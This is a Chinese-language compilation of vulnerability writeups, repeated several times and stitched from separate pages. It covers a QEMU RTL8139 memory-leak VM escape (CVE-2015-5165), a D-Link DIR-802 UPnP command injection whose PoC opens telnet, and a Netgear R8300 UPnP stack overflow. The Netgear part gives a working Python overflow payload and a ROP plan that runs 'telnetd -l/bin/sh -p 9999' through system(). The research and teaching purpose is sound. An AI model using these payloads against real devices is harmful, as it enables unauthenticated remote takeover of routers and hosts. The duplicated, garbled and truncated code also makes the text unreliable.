更精确地讲,ip_data_len稍后用于计算TCP数据的长度,如果该数据超过MTU的大小,则将其逐块复制到一个malloc缓冲区中:
1 | int **tcp_data_len** **= ip_data_len - tcp_hlen;** |
因此,如果我们伪造了长度损坏的畸形数据包(例如ip→ip_len = hlen-1),则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束, 而不是发送单个数据包。
为了发送格式错误的数据包并读取泄漏的数据,我们需要在卡上配置Rx和Tx描述符缓冲区,并设置一些标志,以使我们的数据包流经易受攻击的代码路径。
下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:
1 | +---------------------------+----------------------------+ |
Rx/Tx描述符 由以下结构定义,其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志(例如所有权标志)进行编码,以表示缓冲区是由网卡还是由驱动程序拥有。
1 | struct rtl8139_desc { |
网卡通过in() out()原语(来自sys/io.h)进行配置。 为此,我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。
1 | #define RTL8139_PORT 0xc000 |
phrack随附的源代码中提供了完整的利用(cve-2015-5165.c)。( uuencode用于将二进制文件编码为纯ASCII文本,以便可以通过电子邮件发送它们。)
cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址,因此首先需要通过build-exploit.sh来进行计算。
1 | ./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64' |
该漏洞利用程序在网卡上配置所需的寄存器,并设置Tx和Rx缓冲区描述符。 然后,它伪造了格式错误的IP数据包,该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。
通过对qemu运行程序下断点,可用看到漏洞触发的过程,由于ip_len小于伪造的hlen,导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去(网卡需要配置为loopback 口)
1 | (gdb) b rtl8139.c:2173 |
虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时,我们观察到存在多个函数指针。经过调试,发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 get/set/resolve/release
1 | typedef struct ObjectProperty |
QEMU遵循对象模型来管理设备,内存区域等。启动时,QEMU创建多个对象并为其分配属性。 例如,以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法,可以检索此boolean属性的值:
1 | object_property_add_bool(OBJECT(mr), "may-overlap", |
RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。
在我们的漏洞利用中,我们在泄漏的内存中搜索已知的对象属性。更准确地说,我们正在寻找80个字节的内存块(块大小为已释放的ObjectProperty结构),其中至少设置了一个函数指针(get, set, resolve or release)。
即使这些地址受ASLR约束,我们仍然可以猜测.text节的基地址。
0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 property_get_bool 等符号的地址
1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr, 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 qemu_get_leaked_chunk
2) 在 1 搜索到的内存上匹配 0 收集到的 get/set/resolve/release 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 qemu_get_leaked_object_property
3) 在 2 搜索的基础上, 用 object->get/set/resolve/release 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址
实际上,它们的页面偏移是固定的(12个最低有效位或虚拟地址不是随机的)。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址,例如mprotect() 和system()。
我们还注意到,地址PHY_MEM + 0x78泄漏了几次,其中PHY_MEM是分配给该Guest的物理内存的起始地址。
总结:当前漏洞利用程序搜索泄漏的内存,并尝试解析(i).text段的基地址和(ii)物理内存的基地址。
plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:
1 | #plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}') |
uint64_t
类型的数据 0x00007FXXYYZZZZZZ
,其中 7FXXYY
出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址通过 gdb 调试验证结果正确性:
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp
https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/
如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在受控和受限的环境中分析恶意软件。 一个自然的问题出现了:恶意软件能否从虚拟机中逃脱并在主机上执行代码?
2015年,来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误(CVE-2015-3456),该错误影响了虚拟软盘驱动器代码,这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注,可能是因为它有一个专用名(VENOM),这并不是第一个此类漏洞。
2011年,Nelson Elhage在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的漏洞。
2016年,来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞(CVE-2015-5165和CVE-2015-7504)。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。
在本文中,我们提供了对CVE-2015-5165(一个内存泄漏漏洞)和CVE-2015-7504(一个基于堆的溢出漏洞)的深入分析,以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。
我们讨论了技术细节,以利用QEMU的网卡设备仿真中的漏洞,并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。
KVM(Kernal-based Virtual Machine,基于内核的虚拟机)是一个内核模块,可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。
KVM的用户空间组件包含在主线QEMU(快速仿真器)中,该QEMU特别处理设备仿真。
为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。
由于我们定位的漏洞已经修复,因此我们需要签出QEMU存储库的源,并切换到这些漏洞的修复之前的提交。 然后,我们仅为目标x86_64配置QEMU并启用调试,在我们的测试环境中,我们使用Gcc的4.9.2版构建QEMU:
1 | git clone git://git.qemu-project.org/qemu.git |
使用qemu-img来生成一个qcow2系统文件
1 | ./qemu-img create -f qcow2 ubuntu.qcow2 20G` |
之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装,需要用-cdrom对iso镜像文件进行加载
1 | ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\ |
安装完成后就获得了一个有系统的qcow2文件,我们分配2GB的内存并创建两个网络接口卡:RTL8139和PCNET,同时创建tap接口连接虚拟机和主机:
1 | ✗ sudo tunctl -t tap0 -u `whoami` |
使用vncviewer连接qemu
1 | apt-get install xvnc4viewer |
分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意,分配guest的物理内存时未启用PROT_EXEC标志。
下图说明了来宾的内存和主机的内存如何共存。
1 | Guest' processes |
此外,QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用:
1 | ✗ cat /proc/36220/maps |
有关虚拟化环境中内存管理的更详细说明,请参见:http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf
在QEMU中存在两个翻译层:Guest Virtual Address → Guest Physical Address → Host Virtual Address
在x64系统上,虚拟地址由页偏移量(位0-11)和页码组成。 在linux系统上,具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件(pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值,其中physical_address = PFN * page_size + offset
1 | - Bits 0-54 : physical frame number if present. |
将虚拟地址(Guest Virtual Address)转换为物理地址(Guest Physical Address)的过程包括
64wei每个页面的大小为 4096
字节,即 1 << 12
;
基于 /proc/pid/pagemap
可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame Number(PFN)等;
pagemap
文件为每个 Virtual Page 存储 64
位(即 8
字节)的信息,数据格式如上。对任意的虚拟地址 address
,基于 address/4096
可以计算出该虚拟地址在 pagemap
文件中的索引值, address/4096 * 8
即对应的文件偏移值,在该位置能够获取PFN信息;
页内偏移对任意的虚拟地址 address
,address%4096
即虚拟地址在对应的内存页中的偏移值;
根据物理内存的 PFN (physical frame number)以及页内偏移,就可以计算出对应的物理地址;
1 | physical_address = PFN * page_size + offset |
我们依靠Nelson Elhage的代码。 下面的程序分配一个缓冲区,并用字符串“Where am I?”填充它。 并打印其物理地址:
1 | ---[ mmu.c ]--- |
静态编译好程序之后将其上传到 QEMU 虚拟机中以 root
身份执行,打印出物理地址为 0x73b17b20
在主机将gdb附加到QEMU进程,我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说,输出的guest物理地址地址实际上是与guest物理内存基址的偏移量。
1 | ✗ sudo gdb qemu-system-x86_64 38140 |
接下来,我们将利用CVE-2015-5165(一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞)来重建QEMU的内存布局。 更准确地说,我们需要泄漏
REALTEK网卡支持两种 接收/发送 操作模式:C模式和C +模式。 当将网卡设置为使用C +时,网卡设备仿真器会错误地计算IP数据包数据的长度,最终发送的数据量会超出数据包中实际可用的数据量。
该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:
1 | /* ip packet header */ |
IP头包含两个字段hlen和ip-> ip_len,分别表示IP头的长度(考虑到不带选项的数据包,为20字节)和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示,在计算IP数据长度(ip_data_len)时,没有检查以确保 ip→ip_len >= hlen 。 由于ip_data_len字段被编码为unsigned short int,因此导致发送的数据多于发送缓冲区中实际可用的数据。
更精确地讲,ip_data_len稍后用于计算TCP数据的长度,如果该数据超过MTU的大小,则将其逐块复制到一个malloc缓冲区中:
1 | int tcp_data_len** **= ip_data_len - tcp_hlen; |
因此,如果我们伪造了长度损坏的畸形数据包(例如ip→ip_len = hlen-1),则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束, 而不是发送单个数据包。
为了发送格式错误的数据包并读取泄漏的数据,我们需要在卡上配置Rx和Tx描述符缓冲区,并设置一些标志,以使我们的数据包流经易受攻击的代码路径。
下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:
1 | +---------------------------+----------------------------+ |
Rx/Tx描述符 由以下结构定义,其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志(例如所有权标志)进行编码,以表示缓冲区是由网卡还是由驱动程序拥有。
1 | struct rtl8139_desc { |
网卡通过in() out()原语(来自sys/io.h)进行配置。 为此,我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。
1 |
|
phrack随附的源代码中提供了完整的利用(cve-2015-5165.c)。( uuencode用于将二进制文件编码为纯ASCII文本,以便可以通过电子邮件发送它们。)
cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址,因此首先需要通过build-exploit.sh来进行计算。
1 | ./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64' |
该漏洞利用程序在网卡上配置所需的寄存器,并设置Tx和Rx缓冲区描述符。 然后,它伪造了格式错误的IP数据包,该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。
通过对qemu运行程序下断点,可用看到漏洞触发的过程,由于ip_len小于伪造的hlen,导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去(网卡需要配置为loopback 口)
1 | (gdb) b rtl8139.c:2173 |
虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时,我们观察到存在多个函数指针。经过调试,发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 get/set/resolve/release
1 | typedef struct ObjectProperty |
QEMU遵循对象模型来管理设备,内存区域等。启动时,QEMU创建多个对象并为其分配属性。 例如,以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法,可以检索此boolean属性的值:
1 | object_property_add_bool(OBJECT(mr), "may-overlap", |
RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。
在我们的漏洞利用中,我们在泄漏的内存中搜索已知的对象属性。更准确地说,我们正在寻找80个字节的内存块(块大小为已释放的ObjectProperty结构),其中至少设置了一个函数指针(get, set, resolve or release)。
即使这些地址受ASLR约束,我们仍然可以猜测.text节的基地址。
0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 property_get_bool 等符号的地址
1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr, 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 qemu_get_leaked_chunk
2) 在 1 搜索到的内存上匹配 0 收集到的 get/set/resolve/release 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 qemu_get_leaked_object_property
3) 在 2 搜索的基础上, 用 object->get/set/resolve/release 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址
实际上,它们的页面偏移是固定的(12个最低有效位或虚拟地址不是随机的)。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址,例如mprotect() 和system()。
我们还注意到,地址PHY_MEM + 0x78泄漏了几次,其中PHY_MEM是分配给该Guest的物理内存的起始地址。
总结:当前漏洞利用程序搜索泄漏的内存,并尝试解析(i).text段的基地址和(ii)物理内存的基地址。
plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')
这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:
1 | plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}') |
uint64_t
类型的数据 0x00007FXXYYZZZZZZ
,其中 7FXXYY
出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址通过 gdb 调试验证结果正确性:
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/
http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp
https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/
by Cool
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
DIR-802 hardware revision Ax before v1.00b05
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
DIR-802中存在一个命令注入漏洞,攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
与CVE-2020-15893相似,在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下,端口1900上启用了通用即插即用(UPnP)。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”(ST)字段来执行命令注入。
1 | # coding: utf-8 |
使用firmadyne进行固件模拟,运行UPnP服务
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口,该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
by Cool
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
DIR-802 hardware revision Ax before v1.00b05
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
DIR-802中存在一个命令注入漏洞,攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
与CVE-2020-15893相似,在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下,端口1900上启用了通用即插即用(UPnP)。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”(ST)字段来执行命令注入。
1 | # coding: utf-8 |
使用firmadyne进行固件模拟,运行UPnP服务
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口,该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
知道创宇的研究人员说,nvram配置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
我需要无需硬件自动化的处理大批设备的nvram配置,上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te’d
于是根据这两个事实做了两个实验:
该函数的逻辑如下,a1为要查询的key,a2为待比较的对应value,调用nvram_get获得nvram中a1的value,然后和a2比较,相同的话返回1。
1 | const char *__fastcall acosNvramConfig_match(int a1, const char *a2) |
在upnp二进制程序汇编代码中,调用acosNvramConfig_match来比较nvram
我做出了一个假设:所有a2都是能够使程序正常运行的nvram值,现在想要获取它。编写IDA脚本如下:
1 | def GetAddr(func_name): |
粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。
1 | ('acosNvramConfig_match', '0xa3d4L') |
如上所述,libnvram.so中data段存放着默认配置
利用IDApython获取该区域存放的键值,注意:该区域并不存放字符串,而是存放“存放字符串地址处”的地址,所以也要通过Doword来获取实际地址
1 | import idautils |
这里我们只关注有upnp特征的键值对
1 | .data [77868 94004](tel:7786894004) |
另外再补充几个与网络有关的配置
1 | friendly_name=Netgear |
使用这个配置成功仿真~
蒸米写的:https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
https://cartermgj.github.io/2017/10/10/ida-python/
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
https://www.0xaa55.com/thread-1586-1-1.html
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html
知道创宇的研究人员说,nvram配置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
我需要无需硬件自动化的处理大批设备的nvram配置,上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te’d
于是根据这两个事实做了两个实验:
该函数的逻辑如下,a1为要查询的key,a2为待比较的对应value,调用nvram_get获得nvram中a1的value,然后和a2比较,相同的话返回1。
1 | const char *__fastcall acosNvramConfig_match(int a1, const char *a2) |
在upnp二进制程序汇编代码中,调用acosNvramConfig_match来比较nvram
我做出了一个假设:所有a2都是能够使程序正常运行的nvram值,现在想要获取它。编写IDA脚本如下:
1 | def GetAddr(func_name): |
粘贴部分结果,有大量的重复,还有许多键值不存在,假设不成立。
1 | ('acosNvramConfig_match', '0xa3d4L') |
如上所述,libnvram.so中data段存放着默认配置
利用IDApython获取该区域存放的键值,注意:该区域并不存放字符串,而是存放“存放字符串地址处”的地址,所以也要通过Doword来获取实际地址
1 | import idautils |
这里我们只关注有upnp特征的键值对
1 | .data [77868 94004](tel:7786894004) |
另外再补充几个与网络有关的配置
1 | friendly_name=Netgear |
使用这个配置成功仿真~
蒸米写的:https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
https://cartermgj.github.io/2017/10/10/ida-python/
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
https://www.0xaa55.com/thread-1586-1-1.html
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html
漏洞编号: | PSV-2020-0211 |
---|---|
披露时间: | 2020 -07-31 — Netgear 官方发布安全公告 2020-08-18 – 漏洞公开披露 |
影响厂商: | Netgear |
漏洞类型: | 栈溢出漏洞 |
漏洞评分(CVSS): | 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
利用条件: | 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务,无需身份验证。 |
漏洞成因: | 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 |
影响范围: | R8300 running firmware versions prior to 1.0.2.134 |
---|---|
ZoomEye查询结果: | Netgear R8300共有579台设备暴露在互联网上,绝大部分分布在美国,少量设备出现在欧洲 |
— | |
真机调试 | 硬件调试接口 | uart |
---|---|---|
历史RCE | NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 | |
设备后门开启telnet | Unlocking the Netgear Telnet Console | |
固件篡改植入telnet | ||
固件模拟 | QEMU | 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 |
树莓派、开发板 | 只要 CPU 指令集对的上,就可以跑起来 | |
firmadyne | 基于qemu定制 | |
Qemu STM32 | ||
Avatar | 混合式仿真 |
嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别,可以看到R8300采用了squashfs文件系统格式
1 | $ binwalk R8300-V1.0.2.130_1.0.99.chk |
使用 binwalk -Me
提取出 Squashfs 文件系统,可以看到R8300为ARM v5架构.
1 | $ file usr/sbin/upnpd |
直接使用firmadyne模拟R8300固件失败,一是网络接口初始化失败,二是NVRAM配置存在问题
原因可能是:
NVRAM库劫持失败,firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
1 | $ ./fat.py 'Path to R8300 firmware file' |
使用Qemu模拟固件需要下载对应的arm虚拟机镜像,内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/
1 | [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M |
标准的虚拟机启动命令为
1 | - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" |
对于R8300固件,在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
1 | `sudo tunctl -t tap0 -u `whoami` |
与标准命令区别在于-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动之后输入用户名和密码,都是 root,为虚拟机分配 IP:
1 | `root@debian-armhf:~# ifconfig eth0 ``192.168``.``2.2``/``24` |
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
1 | `root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc |
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD
劫持以下函数符号。手动创建 /tmp/var/run
目录,再次运行提示缺少 /dev/nvram
。
1 | $ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so |
dlsym
nvram库的实现者还同时 hook 了 system
、fopen
、open
等函数,因此还会用到 dlsym
,/lib/libdl.so.0
导出了该符号。
1 | `$ grep ``-``r ``"dlsym"`` ``.` |
接下来要做的就是根据上面的日志补全配置信息,也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
1 | `upnpd_debug_level=9 |
1 | **# ./usr/sbin/upnpd** |
该漏洞的原理是使用strcpy函数不当,拷贝过长字符导致缓冲区溢出,那么如何到达溢出位置。
首先upnpd服务在sub_1D020()
中使用recvfrom()
从套接字接收UDP数据包,并捕获数据发送源的地址。从函数定义可知,upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
recvfrom recvfrom函数(经socket接收数据):
函数原型:int recvfrom(SOCKET s,void *buf,int len,unsigned int flags, struct sockaddr from,int fromlen);
相关函数 recv,recvmsg,send,sendto,socket
函数说明:recv()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
在 sub_25E04()
中调用 strcpy()
将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc
的 buffer。如果超过缓冲区大小,数据就会覆盖栈底部分甚至返回地址。
1 | ` ``+-----------------+` |
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
1 | # ps|grep upnp |
工作机上使用跨平台试gdb-multiarchgdb-multiarch -x dbgscript
dbgscript 内容
1 | `set`` architecture arm` |
直接构造溢出字符,程序不会正常返回,因为栈上存在一个v40的指针v51,需要覆盖为有效地址才能正确返回。
1 | #!/usr/bin/python3 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
可以看到,我们向返回地址发送的数据为0x43434343,但最后PC寄存器的值为0x43434342,最后一个bit变为0,这是为什么?https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
最后检查程序的缓解措施。程序本身开启了NX,之前用过R7000的真机,设备开了ASLR
在堆栈恢复前下一个断点,观察控制流转移情况,将PC指针控制为重启指令。通过 hook 的日志可以看到,ROP 利用链按照预期工作(由于模拟环境的问题,reboot 命令运行段错误了…)
1 | gef➤ b *0x00025F40 |
综合目前的情况:
R4 - R11
以及 PC(R15)
寄存器shellcode
。gadget
。strcpy()
函数导致的溢出,payload 中不能包含 \x00
字符。路由器已启用ASLR缓解功能,我们可以使用ROP攻击绕过该功能。但是,我们通过使用对NULL字节敏感的strcpy来执行复制调用,这反过来又会阻止我们使用ROP攻击。因此,要利用包含NULL字节的地址,我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(stack reuse
)
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化,利用内存未初始化问题,我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC,每个 payload 前添加 \x00
防止程序崩溃(strcpy遇到\x00截断,不会拷贝后面部分)。
1 | #!/usr/bin/python3 |
在strcpy下断点调试,并检查栈区内存
1 | gef➤ info b |
此时程序上下文为
1 | gef➤ context |
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
使用 strcpy
调用在 bss 上拼接出命令字符串 telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
,并调整 R0 指向这段内存,然后跳转 system
执行即可。
脚本帮助: | usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 |
---|---|
真实利用: | IP:192.168.2.2 Port:upnp/1900 |
1 | import socket |
漏洞编号: | PSV-2020-0211 |
---|---|
披露时间: | 2020 -07-31 — Netgear 官方发布安全公告 2020-08-18 – 漏洞公开披露 |
影响厂商: | Netgear |
漏洞类型: | 栈溢出漏洞 |
漏洞评分(CVSS): | 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
利用条件: | 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务,无需身份验证。 |
漏洞成因: | 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 |
影响范围: | R8300 running firmware versions prior to 1.0.2.134 |
---|---|
ZoomEye查询结果: | Netgear R8300共有579台设备暴露在互联网上,绝大部分分布在美国,少量设备出现在欧洲 |
— | |
真机调试 | 硬件调试接口 | uart |
---|---|---|
历史RCE | NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 | |
设备后门开启telnet | Unlocking the Netgear Telnet Console | |
固件篡改植入telnet | ||
